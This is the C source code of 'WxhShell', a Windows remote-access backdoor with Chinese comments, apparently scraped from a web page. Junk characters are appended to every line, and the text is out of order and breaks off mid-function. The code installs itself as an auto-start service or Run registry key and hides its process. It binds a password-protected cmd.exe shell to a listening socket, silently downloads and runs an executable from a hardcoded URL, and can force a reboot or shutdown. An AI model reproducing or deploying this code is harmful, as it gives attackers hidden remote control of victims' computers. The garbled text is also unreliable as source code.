    if(Boot(SHUTDOWN)) .r[b!o^VR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6}wXNTd  
    else { =KqcWN3k  
    closesocket(wsh); `RDl k  
    ExitThread(0); CAyV#7[0  
    } EM]~yn!+  
    break; S'M=P_-7  
    } 7^,C=2  
  // 获取shell Ci6yH( RE  
  case 's': { HPl!r0 h  
    CmdShell(wsh); WqP>cl2Lm  
    closesocket(wsh); Y)^qF)v,d  
    ExitThread(0); IB:eyq-+  
    break; XzI c<81Z  
  } rB|Mp!g%@  
  // 退出 meunAEe  
  case 'x': { {;0j9rr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'WK}T)o  
    CloseIt(wsh); Qb}7lm{r  
    break; %"^$$$6%  
    } {|?OKCG{  
  // 离开 ~ l"70\&  
  case 'q': { Cc*"cQe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wLwAtjW)  
    closesocket(wsh); wjh[}rTV*  
    WSACleanup(); Nw ;BhBt  
    exit(1); fD+'{ivN4  
    break;  ^ZnlWZ@r  
        } vw=OGjT_>m  
  } {wMw$Fvf  
  } 'W>Bz,M6yo  
6*,'A|t?y  
  // 提示信息 (+7gS_c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wP28IB:^  
} Y: &?xR  
  } w"d~R   
YBn"9w\#  
  return; #- $?2?2  
} nN" Y~W^k  
ppr95 Y]^  
// shell模块句柄 2KVMQH`B9  
int CmdShell(SOCKET sock) L4`bGZl55  
{ pOP`n3m0  
STARTUPINFO si; UMR0S5`}  
ZeroMemory(&si,sizeof(si)); >m='#x0>Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |_L\^T|6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?8[,0l:|  
PROCESS_INFORMATION ProcessInfo; +7n;Bsk _  
char cmdline[]="cmd"; `<&RZB2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v#*9rNEj0  
  return 0; wY|&qX,  
} Nq'Cuwsp  
DQO~<E6c  
// 自身启动模式 )W9W8>Cc5_  
int StartFromService(void) @Ee{ GH^-  
{ H59}d oKH  
typedef struct :l>&5w;  
{ YT\x'`>Q  
  DWORD ExitStatus; pQ%~u3  
  DWORD PebBaseAddress; }~pT saw  
  DWORD AffinityMask; 7=C$*)x  
  DWORD BasePriority; *i zPLM}+  
  ULONG UniqueProcessId; C9zQ{G  
  ULONG InheritedFromUniqueProcessId;  O\y #|=d  
}   PROCESS_BASIC_INFORMATION; :0 G "EM4  
^FNvVbK|`  
PROCNTQSIP NtQueryInformationProcess; 5&a4c"fU  
i zJa`K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mh`~1aEr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Eukj2 a  
)RA$E`!b  
  HANDLE             hProcess; QX}O{LQR  
  PROCESS_BASIC_INFORMATION pbi; J J@O5  
A41*4!L=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OB"Ur-hJ0  
  if(NULL == hInst ) return 0; -JOtvJIQI  
,] HH%/h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SrGX4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P2_UQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tDj~+lmdN  
;=\vm"I?  
  if (!NtQueryInformationProcess) return 0; LWgYGXWT"  
}T=0]u4,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S9kagiFX\  
  if(!hProcess) return 0; 8a{S*  
]q@/:I9]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4AdZN5  
=^ur@E  
  CloseHandle(hProcess); :m*r( i3  
k( l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &?L K>QV  
if(hProcess==NULL) return 0; )>,; GVu"  
tlhYk=yq  
HMODULE hMod; "e]1|~  
char procName[255]; {2wfv2hQ  
unsigned long cbNeeded; ^q``f%Xt  
7A0D[?^xe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m(Ghe2T:  
#B7_5y^  
  CloseHandle(hProcess); vg@kPuOiO  
p)l>bC?3  
if(strstr(procName,"services")) return 1; // 以服务启动 L3[r7 b  
[/_M!&zz2  
  return 0; // 注册表启动 H^y%Bi&^  
} ;/gH6Z?  
!ceT>i90h  
// 主模块 5Y<O  
int StartWxhshell(LPSTR lpCmdLine) ]BAM _  
{ 8W' ,T  
  SOCKET wsl; ["l1\YCi  
BOOL val=TRUE; }{"a}zOl  
  int port=0; -= {Z::}S"  
  struct sockaddr_in door; tMM *m  
0I6[`*|SX  
  if(wscfg.ws_autoins) Install(); ul[edp_  
U$CAA5HV]  
port=atoi(lpCmdLine); 7/*Q?ic  
[@ExR*  
if(port<=0) port=wscfg.ws_port; #$q~ZKB  
Q1tZ]Q.6  
  WSADATA data; ?VC[%sjwn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G#{ Xd6L  
",wv*z)_>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   . ] =$((  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @0}Q"15,I  
  door.sin_family = AF_INET; ]|NwC <  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5 9$B z'LY  
  door.sin_port = htons(port); #H9J/k_  
! 63>II  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z"spua5  
closesocket(wsl); tbz?th\#  
return 1; OsS5WY0H  
} JP$@*F@t  
sg@)IEg</v  
  if(listen(wsl,2) == INVALID_SOCKET) { 8GpPyG ],e  
closesocket(wsl); N}`.N  
return 1; j ys1Ki  
} s$g"6;_\  
  Wxhshell(wsl); 1&{]jG{#  
  WSACleanup(); K/oC+Z;K  
zY?GO"U"  
return 0; W)WL1@!Z  
6=ukR=]v  
} y$6m|5  
-]8cw#y 0A  
// 以NT服务方式启动 29:1crzx~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `fw:   
{ )b<-=VR  
DWORD   status = 0; z [xi  
  DWORD   specificError = 0xfffffff; MQD%m ;[s  
i3C5"\y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "Mt4~vy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X\X* -.]{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GLI 5AbQK  
  serviceStatus.dwWin32ExitCode     = 0; 7;cb^fi/  
  serviceStatus.dwServiceSpecificExitCode = 0; 3yNILj  
  serviceStatus.dwCheckPoint       = 0; #$!(8>YJ  
  serviceStatus.dwWaitHint       = 0; _Wcr'*7  
"`pI! nj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vc}#Ok  
  if (hServiceStatusHandle==0) return; wc #+ Yh6  
hh\\api  
status = GetLastError(); dz^l6<a"n  
  if (status!=NO_ERROR) CV/ei,=9  
{ DPENYr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IyTL|W6  
    serviceStatus.dwCheckPoint       = 0; t__UqCq~h  
    serviceStatus.dwWaitHint       = 0; nCMv&{~  
    serviceStatus.dwWin32ExitCode     = status; A`E7V}~  
    serviceStatus.dwServiceSpecificExitCode = specificError; qU!*QZ^y&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *=]hc@  
    return; 1~! 4  
  } 2&*r1NXBE  
|\g=ua+h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z+ybtS>pZ  
  serviceStatus.dwCheckPoint       = 0; JZ#O"rF  
  serviceStatus.dwWaitHint       = 0; _g+^jR4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y02 cX@K6  
} SKTf=rY  
5<o8prt B  
// 处理NT服务事件,比如:启动、停止 j$l[OZ:#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /S29\^  
{ fhx_v^< X  
switch(fdwControl) HKA7|z9{  
{ bLMN9wGOgK  
case SERVICE_CONTROL_STOP: Rv9oK-S  
  serviceStatus.dwWin32ExitCode = 0; #{973~uj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xg>nb1e  
  serviceStatus.dwCheckPoint   = 0; FBit /0  
  serviceStatus.dwWaitHint     = 0; p|mt2oDjw  
  { <0my,hAK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,xA`Fu9^  
  } 0cV=>|b>;  
  return; 9NCo0!Fb  
case SERVICE_CONTROL_PAUSE: 2z/qbzG7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S1 22. I  
  break; `% sKF  
case SERVICE_CONTROL_CONTINUE: g'G"`)~ 2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?-^eI!  
  break; HX1RA 5O  
case SERVICE_CONTROL_INTERROGATE: w6 C0]vh  
  break; GX4HW \>a  
}; B+:'Ld](  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1EvAV,v"  
} V=!tZ[4z$h  
'J+dTs ;0  
// 标准应用程序主函数 B j!{JcM-^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) " S6'<~s  
{ o!TG8aeb  
mjdZ^  
// 获取操作系统版本 s&vREx(  
OsIsNt=GetOsVer(); ?C#=Q6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q v/}WnBk  
8 VMe#41  
  // 从命令行安装 d! 0p^!3  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;>?NH6B,  
;m/%g{oV  
  // 下载执行文件 #R&D gt  
if(wscfg.ws_downexe) { <"I#lib  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N}0-L$@SL  
  WinExec(wscfg.ws_filenam,SW_HIDE); V:?exJg9  
} s;-(dQ{O  
`TNW LD@Z  
if(!OsIsNt) { Y{P0?`  
// 如果时win9x,隐藏进程并且设置为注册表启动 f?O?2g  
HideProc(); Y`@:L'j  
StartWxhshell(lpCmdLine); \(9hg.E  
} |KR; $e&  
else 8,0p14I5;  
  if(StartFromService()) (8C ,"Dc[0  
  // 以服务方式启动 c8qsp n  
  StartServiceCtrlDispatcher(DispatchTable); p|Po##E}g^  
else =5bef8O  
  // 普通方式启动 ?3ldHWa  
  StartWxhshell(lpCmdLine); Z1j3F  
BLzl XhHn  
return 0; hr9[$4'H  
} ` <+MR6M  
uW*)B_c  
/Jz?~H{%n  
e 5hq> K  
=========================================== N%Gb  
RJ/4T#b"+  
(UW V#AR  
u~Zx9>f  
U~krv> I  
tHez S~t_  
" g9 .b6}w!  
OQt_nb#z`{  
#include <stdio.h> '0z-duu  
#include <string.h> {j%'EJ5  
#include <windows.h>  Dh=?Hzw  
#include <winsock2.h> m44Ab6gpsb  
#include <winsvc.h> Bi7QYi/  
#include <urlmon.h> '8+<^%c  
1-`Il]@?8  
#pragma comment (lib, "Ws2_32.lib") pWY $aI  
#pragma comment (lib, "urlmon.lib") 09jU 0x  
p8CDFLuV  
#define MAX_USER   100 // 最大客户端连接数 msKWb311u  
#define BUF_SOCK   200 // sock buffer H$2<N@'4z  
#define KEY_BUFF   255 // 输入 buffer - inZX`afA  
Wr.G9zq.+  
#define REBOOT     0   // 重启 tz #Fy?pe  
#define SHUTDOWN   1   // 关机 6?an._ C  
%3B0s?,I  
#define DEF_PORT   5000 // 监听端口 !9yOFd_  
dQSX&.<c,  
#define REG_LEN     16   // 注册表键长度 b}DxD1*nsI  
#define SVC_LEN     80   // NT服务名长度 SGi(Zkc  
-%8*>%  
// 从dll定义API L4bx [  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }GV5':W@WG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kk6Af\NZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 15NeC7GAh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rr/0pa$  
S>AM?  
// wxhshell配置信息 k+ Shhe1  
struct WSCFG { kXw&*B-/  
  int ws_port;         // 监听端口 QMUmPx&  
  char ws_passstr[REG_LEN]; // 口令 6\jhDP@`9  
  int ws_autoins;       // 安装标记, 1=yes 0=no neN #Mo'A  
  char ws_regname[REG_LEN]; // 注册表键名 V\U,PNkZQ  
  char ws_svcname[REG_LEN]; // 服务名 7noxUGmFw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0Z.bd=H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X?PcEAi;w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +6dq+8msF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y8j wfO3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >K<n~;ON|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 luNEgCq  
kzq3-NTV  
}; Yyl(<,Yi  
x+niY;Z E  
// default Wxhshell configuration y7a84)j3  
struct WSCFG wscfg={DEF_PORT, WvV!F?uqZ  
    "xuhuanlingzhe", %Z T@&  
    1, [T|_J$ ;  
    "Wxhshell", RM/q\100  
    "Wxhshell", AUZ^XiK  
            "WxhShell Service", ~.-o*  
    "Wrsky Windows CmdShell Service", Mi+<|5is  
    "Please Input Your Password: ", VJp; XM  
  1, 3[*E>:)qh  
  "http://www.wrsky.com/wxhshell.exe", ces|HPBa&6  
  "Wxhshell.exe" CKoRq|QG_  
    }; L[M`LZpJo  
PNNY_t +I  
// 消息定义模块 :xd)]Ns  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6|h~pH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 46 p%y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &-l(nr]h]  
char *msg_ws_ext="\n\rExit."; A.`) 0dV  
char *msg_ws_end="\n\rQuit."; -u!{8S~wA  
char *msg_ws_boot="\n\rReboot..."; ,OGXH2!h  
char *msg_ws_poff="\n\rShutdown..."; uvbXsO"z]]  
char *msg_ws_down="\n\rSave to "; a#Yo^"*1  
1?6zsA%N  
char *msg_ws_err="\n\rErr!"; hq.XO=0"k  
char *msg_ws_ok="\n\rOK!"; {3s=U"\  
(RhGBgp  
char ExeFile[MAX_PATH]; QzV Q}  
int nUser = 0; VV'K$v3'N8  
HANDLE handles[MAX_USER]; x=Ef0v  
int OsIsNt; ?g7O([*[  
E@uxEF  
SERVICE_STATUS       serviceStatus; 6S`J7[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~hx__^]d  
mpcO-%a  
// 函数声明 6 07"Z\  
int Install(void); 0+H4sz%.  
int Uninstall(void); aaa6R|>0  
int DownloadFile(char *sURL, SOCKET wsh); Z4@%0mFll  
int Boot(int flag); &\w:jI44Bs  
void HideProc(void); Pl2ZA)[g  
int GetOsVer(void); (g>8!Gl  
int Wxhshell(SOCKET wsl); x(r>iy  
void TalkWithClient(void *cs); TOH!vQP  
int CmdShell(SOCKET sock); h3.6<vM  
int StartFromService(void); 57nSyd] PR  
int StartWxhshell(LPSTR lpCmdLine); 1/hk3m(C  
tN-U,6c]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VB(S]N)F^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7Pb: z4j  
Hu4\4x$?  
// 数据结构和表定义 M.*3qWM  
SERVICE_TABLE_ENTRY DispatchTable[] = 5!tiu4LU  
{ at(oepq  
{wscfg.ws_svcname, NTServiceMain}, ;s$bVGHr  
{NULL, NULL} 9/LnO'&-  
}; BAy]&q|.  
wO>P< KBU  
// 自我安装 d z-  
int Install(void) RxeyMNd  
{ #KFpT__F  
  char svExeFile[MAX_PATH]; 5:" zs  
  HKEY key; mmf}6ABYT  
  strcpy(svExeFile,ExeFile); XkGS3EY  
.YYLMI  
// 如果是win9x系统,修改注册表设为自启动 J.t tJOP  
if(!OsIsNt) { pb`!_GmB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mrc% 6Ri  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cq?&edjP  
  RegCloseKey(key); 0P?\eoB@8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ggP#2I\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T?!D?YV  
  RegCloseKey(key); |mHxkd  
  return 0; [H-r0Ah  
    } G/y@`A)  
  } Y\Grf$e  
} @U)k~z2Hk  
else { jE.yT(+lW  
q>n0'`q   
// 如果是NT以上系统,安装为系统服务 EKr#i}(x<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FF}A_ZFY  
if (schSCManager!=0) *'BA# /@  
{ \H6[6*JuB  
  SC_HANDLE schService = CreateService CLn}BxgD  
  ( K0YUN^St  
  schSCManager, @0v%5@  
  wscfg.ws_svcname, 4fuK pLA  
  wscfg.ws_svcdisp, 7UVhyrl  
  SERVICE_ALL_ACCESS, #<4/ *< 5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GM{J3O=  
  SERVICE_AUTO_START, FxK2 1  
  SERVICE_ERROR_NORMAL, S8S<>W  
  svExeFile,  ,xhB  
  NULL, zfexaf!  
  NULL, AhNy+p{  
  NULL, C=y[WsT  
  NULL, 'K8emt$d+  
  NULL C{5^UCJkg  
  ); |1rKGDc  
  if (schService!=0) I7Uj<a=(q  
  { K]bw1K K  
  CloseServiceHandle(schService); S2!$  
  CloseServiceHandle(schSCManager); 0r|mg::'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0/g 0=dW=  
  strcat(svExeFile,wscfg.ws_svcname); )"]Nf6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p,cw- lN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wwf],Ya  
  RegCloseKey(key); Q r n^T  
  return 0; hU]Gv)B  
    } Y)7LkZO(y  
  } uyfH;9L5$  
  CloseServiceHandle(schSCManager); Q^Lk^PP7  
} --t5jSS44  
} #&oL iz=hZ  
CSBk  
return 1; < gtqwH]   
} G\I DgPj`  
s/" l ?d  
// 自我卸载 / }tMb  
int Uninstall(void) ?F!='6D}b  
{ }2X"  
  HKEY key; n>5/y c"/q  
i#RT4}l"a  
if(!OsIsNt) { <z2*T \B!8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # $dk  
  RegDeleteValue(key,wscfg.ws_regname); MU-T>S4  
  RegCloseKey(key); HAHLF+k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j)vfI>  
  RegDeleteValue(key,wscfg.ws_regname); 1~|o@CO  
  RegCloseKey(key); 5|pPzEA>  
  return 0; %YhM?jMW  
  } 0IP5 &[-P  
} HK/T`p#  
} *It`<F|  
else { R{X@@t9@  
u*:;O\6l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L6jD4ec8  
if (schSCManager!=0) n$}) }kj  
{ BPH-g\q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r^2>60q'  
  if (schService!=0) qa!3lb_'M  
  { cc %m0p  
  if(DeleteService(schService)!=0) { `62iW3y  
  CloseServiceHandle(schService); ~|>q)4is6a  
  CloseServiceHandle(schSCManager); ": G\  
  return 0; 'Drz6K_KrP  
  } kM>Bk \  
  CloseServiceHandle(schService); {)c2#h  
  } 42If/N?  
  CloseServiceHandle(schSCManager); Js706  
} [*jvvkAp  
} %`F &,!d  
N-~Uu6zr  
return 1; >0kZ-M5  
} q7!$-  
Oosr`e@S  
// 从指定url下载文件 k|-P&g  
int DownloadFile(char *sURL, SOCKET wsh) : K#z~#n  
{ 6(FkcC$G  
  HRESULT hr; ,o\-'   
char seps[]= "/"; At?]FjL6S  
char *token; 6y4&nTq[  
char *file; x9NcIa9  
char myURL[MAX_PATH]; T]#S=]G  
char myFILE[MAX_PATH]; <NVSF6`  
Uql|32j  
strcpy(myURL,sURL); 1J tt\yq  
  token=strtok(myURL,seps);  r*gQGvc  
  while(token!=NULL) (/oHj^>3N`  
  { y!,Ly_x$@  
    file=token; O6gl[aZN  
  token=strtok(NULL,seps); %( tu<  
  } 2L!wbeTb;  
SMMsXH  
GetCurrentDirectory(MAX_PATH,myFILE); UUuB Rtau  
strcat(myFILE, "\\"); Ns*&;x9  
strcat(myFILE, file); aJmSagr69C  
  send(wsh,myFILE,strlen(myFILE),0); >;9+4C<z0  
send(wsh,"...",3,0); 8pEiU/V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6H)T=Z|  
  if(hr==S_OK) \*(A1Vk  
return 0; j\o<r0I  
else ^/H9`z;  
return 1; :MIJfr>z  
?)# qBE ]  
} (H/2{##  
Z/p>>SCak  
// 系统电源模块 AxbQN.E  
int Boot(int flag) C(Bh<c0@  
{ .h0@Vs  
  HANDLE hToken; zlw+=NX  
  TOKEN_PRIVILEGES tkp; 7tEkQZMDI  
`o;E  
  if(OsIsNt) { vfn _Nq;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I>(3\z4s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^)|!nd  
    tkp.PrivilegeCount = 1; ]V 4Fm{]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p;P"mp\'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,'KS:`m!  
if(flag==REBOOT) { AD** 4E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [nx OGa2  
  return 0; Xv~v=.HNhk  
} d5hYOhO[  
else { PGE|){ <  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #2XX[d%  
  return 0; .o._`"V  
} 2EU((Q`>=(  
  } 6w )mo)<X  
  else { D #`o  
if(flag==REBOOT) { Exy|^Dr0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nNN~Z'bG  
  return 0; ^ |xSU_wa  
} }r+(Z.BHM  
else { 7jZE(|G-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mn>$K"_k  
  return 0; ~g6`Cp`  
} a (mgz&*  
} )yOdRRP  
9HtzBS  
return 1; \Y4>_Mk  
} yqY nd<K4  
b `7vWyp  
// win9x进程隐藏模块 wOlnDQs  
void HideProc(void) '#;%=+=;  
{ ;$\?o  
KliMw*5(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "IjCuR;#  
  if ( hKernel != NULL ) %YH+=b:uW  
  { 0|D^_1W`R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tJ_6dH8Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <hS %I  
    FreeLibrary(hKernel); +bGj(T%+'  
  } *i=+["A  
vZ rE9C }  
return; X q"_^  
} kzK4i!}  
c6;326aD q  
// 获取操作系统版本 3p%B  
int GetOsVer(void) qId-v =L  
{ nQ$4W  
  OSVERSIONINFO winfo; m,u5S=3A{!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S m%\,/3  
  GetVersionEx(&winfo); +p:?blG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (D?%(f  
  return 1; #TXN\YNP  
  else BeNH"Y:E  
  return 0; Gl4(-e'b  
} ek^=Z`  
<8JV`dTywC  
// 客户端句柄模块 :FUefW m  
int Wxhshell(SOCKET wsl) }Sxuc/%:  
{ 0G`FXj}L  
  SOCKET wsh; sp/l-a  
  struct sockaddr_in client; JB_<Haj  
  DWORD myID; w`N|e0G@  
BotGPk><c  
  while(nUser<MAX_USER) |SO?UIWp  
{ 'R{Xq HP  
  int nSize=sizeof(client); sW53g$`v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -$@$  
  if(wsh==INVALID_SOCKET) return 1; pZYcCc>6&  
&sbKN[xM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (eG9b pqr  
if(handles[nUser]==0) yX {CV7%O  
  closesocket(wsh); WeqE 9@V  
else =u*\P!$  
  nUser++;  |>Q ] q  
  } }k`-n32)|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *tWZ.I<<  
~_!lx  
  return 0; |#&{`3$CG[  
} QM"\;l??  
FuWMVT`Y  
// 关闭 socket yU e7o4Zm  
void CloseIt(SOCKET wsh) ^-*q  
{ l@h|os  
closesocket(wsh); ,t2yw  
nUser--; &gDwsW  
ExitThread(0); fAW(  
} *FINNNARB  
z ?3G`  
// 客户端请求句柄 P  -O& X  
void TalkWithClient(void *cs) Y]u6f c  
{ TL29{'4V  
sQ)D.9\~  
  SOCKET wsh=(SOCKET)cs; j o7`DDb  
  char pwd[SVC_LEN]; ;2NJkn9t  
  char cmd[KEY_BUFF]; %gd {u\h^  
char chr[1]; Q)n6.%V/e  
int i,j; gB&8TE~Y  
t#fbagTON  
  while (nUser < MAX_USER) { #:~MtV  
'=M4 (h  
if(wscfg.ws_passstr) { S .KZ)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \$g,Hgp/<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NSsLuM=.  
  //ZeroMemory(pwd,KEY_BUFF); UdIl5P  
      i=0; ^`HP&V  
  while(i<SVC_LEN) { 2"'<Yk9  
E1=WH-iA0  
  // 设置超时 xw>\6VNt  
  fd_set FdRead; oHW:s96e  
  struct timeval TimeOut; FLb Q#c\  
  FD_ZERO(&FdRead); ~]d3 f  
  FD_SET(wsh,&FdRead); ||}k99y +  
  TimeOut.tv_sec=8; 3pV^Oe^9  
  TimeOut.tv_usec=0; DCv=*=6w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {\SJr:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +9tm9<F8  
&=KNKE`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hv>16W$_  
  pwd=chr[0]; *-zOQ=Y  
  if(chr[0]==0xd || chr[0]==0xa) { ".Z1CBM(  
  pwd=0; <kmH^ viX  
  break; (=T%eJ61  
  } K KCzq |  
  i++; {mkD{2)KQ  
    } ,?3)L   
Oi?+Z:lak  
  // 如果是非法用户,关闭 socket pPa3byWf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ib-)T7V`  
} 1+{V^) V?  
FC +}gJ(q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6]Vf`i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "f1`6cx6  
[myIcLp^aP  
while(1) { $*KM%M6  
/qKO9M5A  
  ZeroMemory(cmd,KEY_BUFF); y5p)z"  
"8NhrUX  
      // 自动支持客户端 telnet标准   :c_>(~  
  j=0; Z{MR#.I  
  while(j<KEY_BUFF) { LGau!\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )6t=Bel  
  cmd[j]=chr[0]; 8B*XXFy\  
  if(chr[0]==0xa || chr[0]==0xd) { u>K(m))5W3  
  cmd[j]=0; Im<i.a <`  
  break; RqONVytx  
  } iB1+4wa  
  j++; [s} n v]  
    } :/.SrkN(A7  
.?Pghqq.  
  // 下载文件 e2}5< 7  
  if(strstr(cmd,"http://")) { 'a^'f]"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FxkxV GZ"  
  if(DownloadFile(cmd,wsh)) 6>hW.aq}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HRG2sv T4t  
  else CY4ntd4M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $YPU(y  
  } pO10L`|  
  else { -Y{=bZS u  
pSPVY2qKX  
